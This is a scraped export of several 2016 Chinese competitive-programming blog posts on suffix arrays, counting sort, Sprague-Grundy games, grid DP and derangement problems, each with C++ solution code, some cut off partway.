上面这些，都是在说如何求sa,但是如果只有sa一个数组的话，就没有办法很好感受 后缀数组的power. 于是引入了height数组。 定义 height[i]=suffix(sa[i-1])和 suffix(sa[i])的最长公 共前缀,也就是排名相邻的两个后缀的最长公共前缀。那么对于 j 和 k,不妨设 rank[j]\u003crank[k],则有以下性质: suffix(j) 和 suffix(k) 的 最 长 公 共 前 缀 为 height[rank[j]+1], height[rank[j]+2], height[rank[j]+3], … ,height[rank[k]]中的最小值。 有很多问题都是基于height数组的，慢慢感受。 再说这道题：我们可以把两个字符串中间用一个特殊符号连接起来。 那么两个字符串的最长公共字串，就变成了求合并后的字符串的所有后缀的最长公共前缀。（原因是字符串的任何一个字串都可以看成是该字符串的某个后缀的前缀） 那么容易知道，该最长公共前缀的长度一定是某个height值（原因是，height[i]表示的是排名相邻的两个后缀的最长公共前缀的长度，如果不相邻，那么取的是他们排名之间所有height的最小值，只会越来越小。） 还需要注意的是，必须满足得到该height的两个后缀分别出现在原来的两个字符串中… 要怎么办到呢？ 其实很容易，由于sa[i]数组存放的是排名第i的后缀是后缀几(定义从第x个字符开始的后缀就是后缀x) 设初始第一个字符串的长度为len1,那么如果是第一个字符串的后缀，一定有sa[i]\u003clen1,如果是第二个字符串的后缀，就一定有sa[i]\u003elen1 (sa[i]==len1的是插入的特殊符号开始的后缀) 还有一些细节可以参考代码注释 UD20160730:改正了lrj书中的错误。。对于rk[i]==0的情况进行了特判。。不然会re… 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月30日 星期六 20时58分10秒 4File Name :code/poj/2774.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,","date":"2016-07-30","externalUrl":null,"permalink":"/2016/07/poj-2774/","section":"Posts","summary":"poj2774 题意：给出两个字符串，问最长的公共连续字串。 思路：后缀数组模板题。","tags":["后缀数组","最长公共字串"],"title":"poj 2774 Long Long Message (最长公共字串，后缀数组模板题)","type":"post"},{"categories":["ACM"],"content":"hdu1280 题意：给出n(3000)个数，两两求和，输出最大的m(5000)个和。 思路：由于数据有限，想到计数排序。。。以及，m个可能刚好某个数据没有全部输出，要在while里判断一下。。 。。。好好的人。。怎么开始刷水了。。。。。 其实是因为最近在看.suffix array…然后里面涉及到了radix sort..算法课的时候到是写过。。。不过快忘了orz。。所以打算找几道题目。。。？ 然而这是计数排序不是基数排序啊摔/！ 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月30日 星期六 17时58分04秒 4File Name :code/hdu/1280.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=3005; 34const int M=1E4+7; 35int n; 36int a[N]; 37int cnt[M]; 38int m; 39int main() 40{ 41 #ifndef ONLINE_JUDGE 42 freopen(\"code/in.txt\",\"r\",stdin); 43 #endif 44 45 while (~scanf(\"%d %d\",\u0026n,\u0026m)) 46 { 47 ms(a,0); 48 ms(cnt,0); 49 for ( int i = 1 ; i \u003c= n ; i++) scanf(\"%d\",\u0026a[i]); 50 int mx = 0; 51 for ( int i = 1 ; i \u003c= n-1 ; i++) 52 for ( int j = i+1 ; j \u003c= n ; j++) 53 cnt[a[i]+a[j]]++,mx = max(mx,a[i]+a[j]); 54 55// cout\u003c\u003c\"mx:\"\u003c\u003cmx\u003c\u003cendl; 56 int num = 0 ; 57 for ( int i = mx ; i \u003e=1\u0026\u0026num\u003cm; i--) 58 { 59 while (cnt[i]\u003e0) 60 { 61 num++; 62 if (num!=m) 63 printf(\"%d \",i); 64 else printf(\"%d\\n\",i); 65 cnt[i]--; 66 if (num==m) break; 67 } 68 } 69 // puts(\"\"); 70 } 71 72 #ifndef ONLINE_JUDGE 73 fclose(stdin); 74 #endif 75 return 0; 76}","date":"2016-07-30","externalUrl":null,"permalink":"/2016/07/hdu-1280/","section":"Posts","summary":"hdu1280 题意：给出n(3000)个数，两两求和，输出最大的m(5000)个和。","tags":["计数排序"],"title":"hdu 1280 前m大的数 （计数排序）","type":"post"},{"categories":["ACM"],"content":"原文链接：链接 讲了后缀数组的概念，然后从最暴力的O(nnlogn )的复杂度(O(n)用来比较字符串，O(nlogn)是排序的复杂度)逐步优化，依据各个串之间的关系，大概讲了倍增算法，以及给出了一篇The Skew Algorithm 的论文。 文中实现的倍增算法的复杂度是O（Nlog2N）的。。是因为作者不会基数排序23333。 This text will focus on the construction of Suffix Arrays, it will aim to explain what they are and what they are used for and hopefully some examples will be provided (it will be mainly simple applications so that the concepts don’t get too attached to the theoretical explanation). As usual, this follows my somewhat recent series of tutorials in order to make the reference post with links as complete as possible! * **What is a Suffix Array?** In simple terms, a suffix array is just a sorted array of all the suffixes of a given string. As a data structure, it is widely used in areas such as data compression, bioinformatics and, in general, in any area that deals with strings and string matching problems, so, as you can see, it is of great importance to know efficient algorithms to construct a suffix array for a given string. Please note that on this context, the name suffix is the exact same thing as substring, as you can see from the wikipedia link provided. A suffix array will contain integers that represent the starting indexes of the all the suffixes of a given string, after the aforementioned suffixes are sorted. On some applications of suffix arrays, it is common to paddle the string with a special character (like #, @ or $) that is not present on the alphabet that is being used to represent the string and, as such, it’s considered to be smaller than all the other characters. (The reason why these special characters are used will hopefully be clearer ahead in this text) And, as a picture it’s worth more than a thousand words, below is a small scheme which represents the several suffixes of a string ","date":"2016-07-30","externalUrl":null,"permalink":"/2016/07/suffix_array_tutorial/","section":"Posts","summary":"原文链接：链接 讲了后缀数组的概念，然后从最暴力的O(nnlogn )的复杂度(O(n)用来比较字符串，O(nlogn)是排序的复杂度)逐步优化，依据各个串之间的关系，大概讲了倍增算法，以及给出了一篇The Skew Algorithm 的论文。","tags":["后缀数组"],"title":"suffix array (转自 codechef)","type":"post"},{"categories":["ACM"],"content":"1874: [BeiJing2009 WinterCamp]取石子游戏 # Time Limit: 5 Sec Memory Limit: 162 MB Submit: 726 Solved: 296 [Submit][Status][Discuss] Description # 小H和小Z正在玩一个取石子游戏。 取石子游戏的规则是这样的，每个人每次可以从一堆石子中取出若干个石子，每次取石子的个数有限制，谁不能取石子时就会输掉游戏。 小H先进行操作，他想问你他是否有必胜策略，如果有，第一步如何取石子。 Input # 输入文件的第一行为石子的堆数N 接下来N行，每行一个数Ai，表示每堆石子的个数 接下来一行为每次取石子个数的种类数M 接下来M行，每行一个数Bi，表示每次可以取的石子个数，输入保证这M个数按照递增顺序排列。 Output # 输出文件第一行为“YES”或者“NO”，表示小H是否有必胜策略。 若结果为“YES”,则第二行包含两个数，第一个数表示从哪堆石子取，第二个数表示取多少个石子，若有多种答案，取第一个数最小的答案，若仍有多种答案，取第二个数最小的答案。 Sample Input # 4 7 6 9 3 2 1 2 Sample Output # YES 1 1Hint 样例中共有四堆石子，石子个数分别为7、6、9、3，每人每次可以从任何一堆石子中取出1个或者2个石子，小H有必胜策略，事实上只要从第一堆石子中取一个石子即可。 数据规模和约定 数据编号 N范围 Ai范围 数据编号 N范围 Ai范围 1 N=2 Ai≤10 6 N≤10 Ai≤10 2 N=2 Ai≤1000 7 N≤10 Ai≤100 3 N=3 Ai≤100 8 N≤10 Ai≤1000 4 N≤10 Ai≤4 9 N≤10 Ai≤1000 5 N≤10 Ai≤7 10 N≤10 Ai≤1000 对于全部数据，M≤10，Bi≤10 HINT # Source # Day2 思路：有没有解直接sg函数搞。关键在于输出具体方案。 如果存在某个i，在第i堆取走了ok[j]个石头后，恰好使得sum的值变成0（也就是使得从N态到P态的值） 取这样的i和ok[j]中最小的（i是第一关键字，ok[j]是第二关键字） 需要注意的是，在第i堆取走ok[j]之后的sg值 应该为 sum^sg[a[i]]^sg[a[i]-ok[j]],而不是直接sum^sg[a[i]-ok[j]] 可以理解成先撤销了之前计算的a[i]的操作，换成qu","date":"2016-07-29","externalUrl":null,"permalink":"/2016/07/bzoj1874/","section":"Posts","summary":"1874: [BeiJing2009 WinterCamp]取石子游戏 # Time Limit: 5 Sec Memory Limit: 162 MB Submit: 726 Solved: 296 [Submit][Status][Discuss]","tags":["sg函数","博弈论"],"title":"bzoj 1874: [BeiJing2009 WinterCamp]取石子游戏 (sg函数，要求输出第一步具体方案)","type":"post"},{"categories":["ACM"],"content":"cf429 b 题目链接 题意： n*m个格子，每个格子有一个人value a[i][j]\u003e0，连个人，一个从左上角到右下角，每次只能向下或者向右移动，一个从左下到右上，每次只能向上或者向右移动，现在要求两个人恰好相遇一次，相遇点的a不算数，问在满足这样的条件下使得两个人的a最大。。。（很坑的一点是。。这里相遇并不考虑时间。。就是说，不在同一时间都到达过某一格子，也认为相遇。所以我认为，题目含义更准确的说法是，路径只有一个交点） 思路：很巧妙。先预处理4个二维数组，分别表示点(i,j）到四个角落的最大值。（这个处理很容易，类似数字三角形） 然后枚举相遇的点，对于确定的相遇的点(x,y)，我们可以认为是四个角落各连一条线到点(i,j) 由于只能相遇一次，所以连接方式只有两种情况。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月28日 星期四 02时13分58秒 4File Name :code/cf/429B.cpp 5 ************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+7; 34int n,m; 35LL a[N][N]; 36LL dp[5][N][N]; 37int main() 38{ 39#ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41#endif 42 cin\u003e\u003en\u003e\u003em; 43 ms(dp,0); 44 // cout\u003c\u003c\"dp[1][1][1]\"\u003c\u003cdp[1][1][1]\u003c\u003cendl; 45 for ( int i = 1 ; i \u003c= n ; i++) 46 for ( int j = 1 ; j \u003c= m ; j++) 47 scanf(\"%lld\",\u0026a[i][j]); 48 49 for ( int i = 1 ;i \u003c= n ; i++) //1 --left up 50 for ( int j = 1 ; j \u003c= m ; j++) 51 dp[1][i][j] = max(dp[1][i-1][j],dp[1][i][j-1]) + a[i][j]; 52 53 for ( int i = 1 ;i \u003c= n ; i++) //2 -- right up 54 for ( int j = m ; j \u003e= 1 ;j--) 55 dp[2][i][j] = max(dp[2][i-1][j],dp[2][i][j+1]) + a[i][j]; 56 57 for ( int i = n ; i \u003e=1 ; i--) //3 -- left down ","date":"2016-07-27","externalUrl":null,"permalink":"/2016/07/cf429b/","section":"Posts","summary":"cf429 b 题目链接 题意： n*m个格子，每个格子有一个人value a[i][j]\u003e0，连个人，一个从左上角到右下角，每次只能向下或者向右移动，一个从左下到右上，每次只能向上或者向右移动，现在要求两个人恰好相遇一次，相遇点的a不算数，问在满足这样的条件下使得两个人的a最大。。。（很坑的一点是。。这里相遇并不考虑时间。。就是说，不在同一时间都到达过某一格子，也认为相遇。所以我认为，题目含义更准确的说法是，路径只有一个交点）","tags":["dp"],"title":"codeforces 429 B. Working out (dp)","type":"post"},{"categories":["ACM"],"content":"hdu 2050题目链接 题意：n条折线。。最多能把平面分成几部分。。 思路：联想到m条直线，最多能把平面分成m*(m+1)/2+1部分。。 画图发现。。。 f[2*n-1]==g[n]。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月27日 星期三 20时28分57秒 4File Name :code/hdu/2050.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int main() 34{ 35 #ifndef ONLINE_JUDGE 36 freopen(\"code/in.txt\",\"r\",stdin); 37 #endif 38 39 int T; 40 cin\u003e\u003eT; 41 while (T--) 42 { 43 int n; 44 scanf(\"%d\",\u0026n); 45 n =2*n-1; 46 printf(\"%d\\n\",n*(n+1)/2+1); 47 } 48 49 #ifndef ONLINE_JUDGE 50 fclose(stdin); 51 #endif 52 return 0; 53}","date":"2016-07-27","externalUrl":null,"permalink":"/2016/07/hdu-2050/","section":"Posts","summary":"hdu 2050题目链接 题意：n条折线。。最多能把平面分成几部分。。 思路：联想到m条直线，最多能把平面分成m*(m+1)/2+1部分。。","tags":["math"],"title":"hdu 2050 折线分割平面 (找规律，递推)","type":"post"},{"categories":["ACM"],"content":"hdu 2049 题目链接 题意：n个妹子和n个汉子对应。。然后让每个汉子取选一个妹子，不能重复，问恰好有m个汉子选错妹子的可能的方案数。 思路：从n个中选n-m个，然后做剩余m个错排即可。 答案就是c[n][n-m]*d[m] c[]为组合数公式，d为错排公式。 然而wa到死。。。 因为我用了double….有毒。。。 double表示整数也是会丢失精度的！！！ double表示整数也是会丢失精度的！！！ double表示整数也是会丢失精度的！！！ double表示整数也是会丢失精度的！！！ double表示整数也是会丢失精度的！！！ 我自杀去了，世界再见（x 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月27日 星期三 16时39分21秒 4File Name :code/hdu/2049.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=22; 34LL d[N]; 35LL c[N][N]; 36int n,m; 37 38void cal_c() 39{ 40 c[1][0] = 1; 41 c[1][1] = 1; 42 c[2][0] = 1; 43 c[2][1] = 2; 44 c[2][2] = 1; 45 for ( int i = 1 ; i \u003c N; i++) c[i][0] = 1; 46 for ( int i = 3 ; i \u003c N ; i++) 47 for ( int j = 1 ; j \u003c= i ;j++) 48 c[i][j] = c[i-1][j]+c[i-1][j-1]; 49} 50int main() 51{ 52 #ifndef ONLINE_JUDGE 53 freopen(\"code/in.txt\",\"r\",stdin); 54 #endif 55 56 cal_c(); 57 d[1] = 0 ; 58 d[2] = 1; 59 for ( int i = 3 ; i \u003c N ; i++) d[i] = (i*1LL-1)*(d[i-1]+d[i-2]); 60 int T; 61 cin\u003e\u003eT; 62 while (T--) 63 { 64 scanf(\"%d%d\",\u0026n,\u0026m); 65 LL ans = d[m]; 66 ans*=c[n][m]; 67 printf(\"%lld\\n\",ans); 68 } 69 70 71 #ifndef ONLINE_JUDGE 72 fclose(stdin); 73 #endif 74 return 0; 75}","date":"2016-07-27","externalUrl":null,"permalink":"/2016/07/hdu-2049/","section":"Posts","summary":"hdu 2049 题目链接 题意：n个妹子和n个汉子对应。。然后让每个汉子取选一个妹子，不能重复，问恰好有m个汉子选错妹子的可能的方案数。","tags":["排列组合","错排公式"],"title":"hdu 2049 不容易系列之(4)——考新郎 (错排公式，注意精度)","type":"post"},{"categories":["ACM"],"content":"。。。重新编译一次就可以了。。。orz","date":"2016-07-27","externalUrl":null,"permalink":"/2016/07/fedoraupdate/","section":"Posts","summary":"。。。重新编译一次就可以了。。。orz","tags":["算法竞赛"],"title":"解决fedora无线驱动在update后不能用的问题","type":"post"},{"categories":["ACM"],"content":"hdu2048 题目链接 题意:n个人不放回的从一个有n个每个人对应id的卡片的盒子取一张卡片，取的正好和自己的对应就算中奖。求所有人都没有中奖的概率。 思路：错排。。。 复习了一下错排公式。。。d[n] = (n-1)*(d[n-1]+d[n-2]) （d[1]=0,d[2]=1） 然后求概率的时候。。惊讶得发现概率稳定在了36.79%（1/e）附近。。。 这是因为。。。错排还有一个公式：D(n) = n! [(-1)^2/2! + … + (-1)^(n-1)/(n-1)! + (-1)^n/n!]. 求概率每次把n!除掉了。。剩下的。。其实就是e的泰勒展开，当x=-1时的值。 因为当n越大时。。这个概率越接近1/e 这道题里。。。在保留百分数的小数点两位的精度的条件下。。当n为7的时候。。答案就已经是36.79保持不变了。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月27日 星期三 15时53分04秒 4File Name :code/hdu/2048.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=22; 34double d[N]; 35double f[N]; 36int n; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 43 f[0] = 1; 44 for ( int i = 1; i \u003c N ; i++) f[i] = f[i-1]*1.0*i; 45 d[1] = 0; 46 d[2] = 1; 47 for ( int i = 3 ; i \u003c N ; i++) d[i] = 1.0*(i-1)*(d[i-1]+d[i-2]); 48 49 int T; 50 cin\u003e\u003eT; 51 while (T--) 52 { 53 scanf(\"%d\",\u0026n); 54 double ans = d[n]*100.0/f[n]; 55 // cout\u003c\u003c\"n:\"\u003c\u003cn\u003c\u003c\" d[n]:\"\u003c\u003cd[n]\u003c\u003c\" \"\u003c\u003cf[n]\u003c\u003cendl; 56 printf(\"%.2f%%\\n\",ans); 57 58 } 59 60 #ifndef ONLINE_JUDGE 61 fclose(stdin); 62 #endif 63 return 0; 64}","date":"2016-07-27","externalUrl":null,"permalink":"/2016/07/hdu-2048/","section":"Posts","summary":"hdu2048 题目链接 题意:n个人不放回的从一个有n个每个人对应id的卡片的盒子取一张卡片，取的正好和自己的对应就算中奖。求所有人都没有中奖的概率。","tags":["排列组合","错排公式"],"title":"hdu 2048 神、上帝以及老天爷 (错排公式)","type":"post"},{"categories":["ACM"],"content":"hdu 2047 题目链接 题意：一个由’E’ ‘O’ ‘F’ 组成的长度为n的字符串。‘O’不能相邻。。问方案数。。 思路：递推。。。蒙对了（误 考虑第n位，如果为’E’或者‘F’，此时对n-1位没有限制，答案为f[n-1]，所以 一共是2×f[n-1] 如果为’O’，此时第n-1位为’E’或者’F’，此时对n-2位没有限制，答案为f[n-2],一共是2×f[n-2] 因此 f[i] = 2*(f[i-1]+f[i-2]) 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月27日 星期三 15时22分19秒 4File Name :code/hdu/2047.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=42; 34int n; 35LL f[N]; 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39 freopen(\"code/in.txt\",\"r\",stdin); 40 #endif 41 42 f[1] = 3; 43 f[2] = 8; 44 for ( int i =3 ; i \u003c N ; i++) f[i] =2LL*(f[i-1]+f[i-2]); 45 46 while (~scanf(\"%d\",\u0026n)) 47 { 48 printf(\"%lld\\n\",f[n]); 49 } 50 51 #ifndef ONLINE_JUDGE 52 fclose(stdin); 53 #endif 54 return 0; 55}","date":"2016-07-27","externalUrl":null,"permalink":"/2016/07/hdu-2047/","section":"Posts","summary":"hdu 2047 题目链接 题意：一个由’E’ ‘O’ ‘F’ 组成的长度为n的字符串。‘O’不能相邻。。问方案数。。","tags":["递推"],"title":"hdu 2047 阿牛的EOF牛肉串 (递推)","type":"post"},{"categories":["ACM"],"content":"hdu2045 题目链接 题意： 一串 方格，每个格子可以涂三种颜色，要求相邻的格子颜色不能相同，首尾格子也不能相同。 思路：递推。没推出来23333 我好菜啊.jpg. 考虑有n个格子。。那么假设第n-1个格子的颜色是a,根据第一个格子和第n-1个格子颜色是否相同分为两种情况。 如果不相同，那么第n个格子不能和第1个格子颜色相同，也不能和第n-1个格子颜色相同，所以只有一种选择。 如果相同，那么第n个格子有两种选择。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月27日 星期三 14时53分16秒 4File Name :code/hdu/2045.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=55; 34LL f[N]; 35int n; 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39 freopen(\"code/in.txt\",\"r\",stdin); 40 #endif 41 42 f[1] = 3; 43 f[2] = 6; 44 f[3] = 6; 45 f[4] = 18; 46 47 for ( int i = 5 ; i \u003c N ; i++) 48 f[i] = f[i-1] + 2LL*f[i-2]; 49 50 while (~scanf(\"%d\",\u0026n)) 51 { 52 printf(\"%lld\\n\",f[n]); 53 } 54 55 #ifndef ONLINE_JUDGE 56 fclose(stdin); 57 #endif 58 return 0; 59}","date":"2016-07-27","externalUrl":null,"permalink":"/2016/07/hdu-2045/","section":"Posts","summary":"hdu2045 题目链接 题意： 一串 方格，每个格子可以涂三种颜色，要求相邻的格子颜色不能相同，首尾格子也不能相同。","tags":["递推"],"title":"hdu 2045 不容易系列之(3)—— LELE的RPG难题 (递推)","type":"post"},{"categories":["ACM"],"content":"hdu2018题目链接 题意:第1年有1头奶牛，每年生一头奶牛，新生的奶牛从生下来的第四年（包括生下来那年）也开始每年一头奶牛。 问第n年有多少头奶牛。 思路：最容易想到的。。递推一下。。。dp[i] = dp[i-1] + dp[i-3] (注意初始化不是一个dp[1]=1,而是dp[1..4]=1..4) 递推代码： 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月27日 星期三 13时19分17秒 4File Name :code/hdu/2018.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20a#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=60; 34int n; 35LL dp[N]; 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39 freopen(\"code/in.txt\",\"r\",stdin); 40 #endif 41 42 dp[1] = 1; 43 dp[2] = 2; 44 dp[3] = 3; 45 dp[4] = 4; 46 for ( int i = 5 ; i \u003c N ; i++) 47 { 48 dp[i] = dp[i-1] + dp[i-3]; 49 } 50 51 52// for ( int i = 0 ; i \u003c N; i++) 53// cout\u003c\u003c\"i:\"\u003c\u003ci\u003c\u003c\" dp[i]:\"\u003c\u003cdp[i]\u003c\u003cendl; 54 55 56 while (scanf(\"%d\",\u0026n)!=EOF) 57 { 58 if (n==0) break; 59 printf(\"%lld\\n\",dp[n]); 60 } 61 62 63 64 #ifndef ONLINE_JUDGE 65 fclose(stdin); 66 #endif 67 return 0; 68} 也可以考虑记忆化嘛 理论上应该是所有的dp都可以写成记忆化。。。？ 记忆化的好处是不用考虑什么边界的问题。。。坏处是。。可能爆栈。。。。。 记忆化代码： 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月27日 星期三 13时19分17秒 4File Name :code/hdu/2018.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10","date":"2016-07-27","externalUrl":null,"permalink":"/2016/07/hdu-2018/","section":"Posts","summary":"hdu2018题目链接 题意:第1年有1头奶牛，每年生一头奶牛，新生的奶牛从生下来的第四年（包括生下来那年）也开始每年一头奶牛。 问第n年有多少头奶牛。 思路：最容易想到的。。递推一下。。。dp[i] = dp[i-1] + dp[i-3] (注意初始化不是一个dp[1]=1,而是dp[1..4]=1..4)","tags":["dp","记忆化搜索"],"title":"hdu 2018 母牛的故事 (基础dp，记忆化搜索)","type":"post"},{"categories":["ACM"],"content":"hdu2084题目链接 题意：dp入门题。。。数字三角形。。 思路： 昨天看mit公开课。。。讲到dp的精髓是sub-problem+ reuse… 为什么自底向上呢。。。 初始化dp[n][i] = a[n][i]其实是在处理只有最后一行的子问题。。。 需要特别强调的是。。处于某个子问题的时候。。。其他部分就好像不存在一样。。。 每一个点只能向下或者向右下两条路可走。。。 那么对于这一点的最大值。。。一定是取后来可走的两点的最大值加上自身。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月27日 星期三 12时56分28秒 4File Name :code/hdu/2084.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int n; 35int a[N][N]; 36int dp[N][N]; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 int T; 